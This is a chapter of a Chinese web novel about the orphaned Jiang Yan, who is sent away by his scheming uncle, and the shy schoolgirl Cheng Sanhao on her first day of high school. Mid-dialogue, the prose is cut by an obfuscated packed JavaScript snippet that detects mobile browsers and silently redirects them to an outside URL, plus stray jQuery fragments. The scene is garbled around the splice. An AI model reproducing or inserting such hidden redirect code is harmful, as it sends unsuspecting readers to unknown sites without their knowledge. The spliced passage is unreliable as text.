七年前，津市郊区某个墓园。
大雨倾盆，天空灰暗，这天的雨水似乎格外地重，拍打着树叶，敲击着地面，发出连绵不绝的滴答声音。
一座夫妻合葬的墓碑前，乌压压地跪着一群身穿黑色衣服的人。
为首的两个人分别是江全驰和江砚，没有任何一个人打伞。
雨水顺着江砚的脖颈滑进挺直的脊梁，少年脸色平静，像是对冰凉刺骨的寒意不知所觉。
目光落在前方，墓碑下藏着的人正是他的父母。
他们是两个出色的地质学家，在江砚中考完后不久，因出门采集样本突发地震不幸身亡。
而就在出发的前一晚，一家三口还约定好，等江砚的中考成绩出来以后，就带他去外国某个大师的摄影展。
现在分数出来了，全市第一，但是想要分享喜悦的人却不在了。
江全驰最近几年身体越发不好，年轻时疯狂应酬，通宵工作所有的不良习惯，随着人机体的衰老渐渐暴露出弊端。
只是在露天雨幕下待了片刻，他就忍不住咳嗽起来，寥寥几声，身体就要散架一般。
江砚没有哭，他抹了一把眼睛上的雨水，径直站起来，然后去搀扶自己的爷爷。
爷孙俩并肩而立，他们侧脸轮廓很相似，棱角分明，折叠度高。
二人都没有说话，就像强者之间无声的默契——他们并不需要所谓语言上的安慰，悲伤有时，一切都是徒劳。
从墓园回去后，江老爷子不出所料地病倒了，公司所有的决策权一下子全交到了江权清手中。
他将公司治理得很好，董事会的各个股东对他皆是赞不绝口，而江砚则是几乎日以继夜地寸步不离江老爷子，守在他的床边照顾他。
然而没等到自己爷爷好起来，反而等到了他病情加重，甚至中风瘫痪在床的噩耗。
吃喝拉撒都需要人帮忙，连最基本的开口说话也完全丧失了。
他认为是这一家医院的医生有问题，还求助了小姨许琪的妈妈，然而尽管转院进入另一家私人疗养院进行治疗，江全驰的情况依旧没有好转，反倒他到了该入学的时候了。
他的二叔找到他，神情温和：“小砚，江家的企业未来终究还是要你来扛，虽然这么说有一些残忍，但是你必须尽快成长……”
“所以我打算送你去外地读书，可以好好锻炼自己，磨练自己的心志。”
江砚当时就站在爷爷的病床前，挺直腰背，面容平静：“不了二叔，我去外地读书的话，放心不下爷爷，所以我就在市里读书就好了……我会好好学习，不给你添麻烦的。”
江权清向前走了几步，拍了拍侄子的肩膀，目光慈爱：“想要迅速成为一位肩能扛事的成年人少不了要多去外面历练历练，那地方虽然经济是比我们津市这个地方落后些许，但二叔又不是让你去吃苦，只是让你见见外面的世界，未来你一定会感谢今天二叔我这个决定的，至于你爷爷——”
江权清笑了：“他是我爸，我能不好好照顾好他吗？你在担心什么？”
江砚垂下目光，眼里情绪不明，说：“……我相信二叔，的确没什么好担心的。”
“这就对了嘛。”中年男人将手从男生肩膀上收回来，一副为侄子着想的语气，“你放心，那边我都全部打理好了，你就尽管去好好读书就行。如果实在是不习惯，你跟二叔说，我立马派人将你接回来，咱们主打的就是一个体验。”
“因为如今形势严峻，巨大的集团突然之间没有了主心骨，必定会陷入混乱，趁此机会，你也可以出去避避风头，其他的就交给二叔。”
江砚这才抬眼看向前面的人，对着他信任地点了点头说：“好，我都听二叔你的。”
于是在下午，江砚坐进了车里，被送到了千里之外的淮市一中就读。
—
高一新生入学这一天，艳阳四射，温度宜人。
因为学校采取的是完全封闭的教学，所以在今天，除了报道这一重要的事情之外，最主要的就是找到自己的寝室，并买好被褥以及各种生活用品。
今天以后再想自由地出校门是不可能的，程三好刚配眼镜不久，她又有鼻炎，只能靠戴着口罩来缓解不适。
学校北门口挤满了学生和家长，人群哄闹，天气也变得有些炎热。
她背着书包独自站在绿荫道上，低头看着手中那张学校建构分布示意图。
这地方完全是第一次来，而且出乎她意料的是，学校比普通高校规模宏大很多。
她找了半天，才找到自己的宿舍楼。
淮市一中的学生男宿舍和女宿舍是分别独立的两栋楼，但是楼与楼之间出口的位置是相连在一起的。
推开玻璃门进去，正面挂着一个巨大的屏幕，上面滚动着红色的楷体字，标题是：欢迎高一新生，下面写着很长的一段话，大概意思就是虽然欢迎你们来我们这所学校读书，但是也要遵守相关校纪校规，努力拼搏，展望未来……
左手边空出来的一个小房间就是值班室，管理人员基本上是有点文化但不多的中年妇女。
而程三好所站着的这个T形区域，左方进去就是男生的宿舍，右手边就是女生的宿舍。
因为程伟国他们借口说没有时间陪她来，她也如愿以偿地获得了一部人生中第一个智能手机。
学校是不允许带智能手机的，但是今天例外。
她确认了一遍手机上学校发给她的短信中的信息，一路走步梯爬了四楼，找到门牌号是四零四的宿舍推了进去。
里面已经来了两个人，她们的妈妈正帮着铺床。
程三好找到贴有自己名字的床位，宿舍是七人间，四张双人床分为上下铺。
她觉得还挺幸运的，因为她是下铺。
将书包放下，她就抓紧时间下了四楼，去到外面买生活用品。
因为一个人拿不了多少，所以她分为好几趟，一顿忙活下来，身上出了一点汗，医用蓝色口罩下的脸蛋红扑扑的。
整理好一切后，她去到教学楼，找到高一二十一班教室。
老师还没来，里面闹哄哄的，大家彼此都不熟悉，但不妨碍他们交流，因为好奇反倒话题多了很多。
刚开学，座位都是乱坐的，她径直走到教室后面，选了一张靠墙的桌子。
课桌凳子全是实木的，阳光照在上面，泛着金色的光。
前面的女同学转过身，她们互相告知了名字。
程三好有些社恐，手指都是汗，说话的声音也不大。
女同学见状，问她：“你平时性格是偏外向还是内向？”
“……应该偏内向吧，我不怎么喜欢说话。”
“看得出来。”女同学人看上去就是那种活泼开朗类型的，总是说了没几句话就就笑起来，还特别自来熟。
她好奇：“你不闷吗？戴着口罩。”
程三好眼镜下的眼睛弯了一下：“我有鼻炎，这样戴着舒服一些……”
“啊，这也太可怜了吧，我心疼你三秒钟～”
女同学的表情很逗，女生情不自禁地笑了出来。
“虽然你戴着口罩，但我敢打赌，口罩之下一定是一个美女！”
校园内，学生们有自己的“商业互吹”。
程三好推了一下镜框：“你也长得很漂亮。”
“是吗？我也这么觉得哈哈。”
二人肉眼可见地亲近了一些，交谈的过程中，教室后门走进来一个男生，身量颀长，走路带风。
与此同时，前门处拿着几张a四纸的班主任也到了。
“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13368196|130752||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
好了，同学们，都安静一点。”
“我知道你们的心情此刻是非常雀跃的，我也非常能理解，但是现在，请安静……”
女人将手中拿着的名单拍在讲桌上，双手撑在桌面，抬头看着下面的学生。
还在乐此不疲说着话的女同学猛地闭嘴，转过了身，程三好也将前倾的身体往后退退，双手交叠放在桌上。
就在这时，双人桌的旁边位置上甩过来一个书包，在桌面上发出砰的细微声响。
紧接着，一个穿着白t黑裤的男生就坐在了她的旁边。
程三好目不斜视，认真听着前面的班主任说话。
“好，我先自我介绍一下，我叫蒋华，是你们的班主任，同时也是你们的数学老师。我这个人虽然看着严肃，但实在严肃——”
教室内传来阵阵笑声。
蒋华手指敲了敲课桌，神情很严肃：“我这人不开玩笑。”
台下的哄笑声停止了。
“在我这里，成绩才是王道，旁的一概不是，因为高考要的就是一个分数，它将决定你以后的人生命运如何，所以扯什么老师要关心学生，学生要敬重老师之类的，在我这里可以忽略不计。”
“只要你成绩好，就是骑我头上骂我都成，但是如果——”
蒋华人长得高知识分子的样子，就是眼睛有些刻薄：“成绩差的话，就别怪我到时候说话难听，尤其是小女生，给我收起那些杂七杂八的小心思，什么打扮化妆，在我这个班是绝对不允许的。”
“好了，我今天要说的话就只有这一些，待会儿我会叫人把你们的校服发下去，教材也会在今天领到，在那之前我要先点一个名。”
蒋华拿起讲桌上的一张名单，开口念道“王灿。”
程三好前面的女同学举手答道：“到！”
“罗坤。”
“到。”
程三好有些意外，刚才那个答到的男生正是王灿的同桌，这才刚开始点名，前两个就是她周围的人，真神奇。
这样想着，下一秒就听讲台上的老师喊了一个名字：“程韵清。”
“到！”
两道女生在教室内不约而同地响起。
程三好震惊了，举着的手都有些犹豫。
目光扫向整个教室，发现教室前门旁边的第一张桌子上有个女生也举起了手。
蒋华淡淡地瞥了一眼，却没有说什么，只是念着接下来其他人的名字。
直到再次念到程韵清这个名字时，她才淡淡地说了一句：“看来咱们班有两个同名同姓的人。”
她刚说完，教室里就起了一阵小轰动，蒋华脸色一沉：“有什么稀奇的？”
全班噤声，大气不敢喘。
蒋华却好像还是不满意，她将纸张拍在桌面上发出巨大的响声，言辞犀利：“新生就是这么一点不好，叽叽喳喳，闹闹哄哄的，吵得人耳朵疼，有那点八卦的功夫，不如看书多背几个单词，多写几道数学题，这样下来成绩不好才怪。”
“我知道你们这些人都是在原先自己的中学当中属于佼佼者的那种，但是现在聚在一起，比你厉害的随手一抓全是！我们一中不缺天才，只创造天才，只要你们按照我的方式去做，考个一本轻轻松松地不成问题。”
她的脸色很臭，跟谁欠了她八百万似的，但是在教室的这五十二个人当中，他们还没有具备独立思考的能力，或者说还没有经过社会的毒打，识别不出站在讲台上的那个人就是在言语贬低他们。
他们三观还未完全形成，整个人是处在一个被环境影响的一个年纪，看到自己的班主任如此严肃，说话有条有理，而且好像处处都在为他们未来着想，这让他们心中下了一个定论：这就是老师，这是一个好老师。
程三好当时也是这么想着的。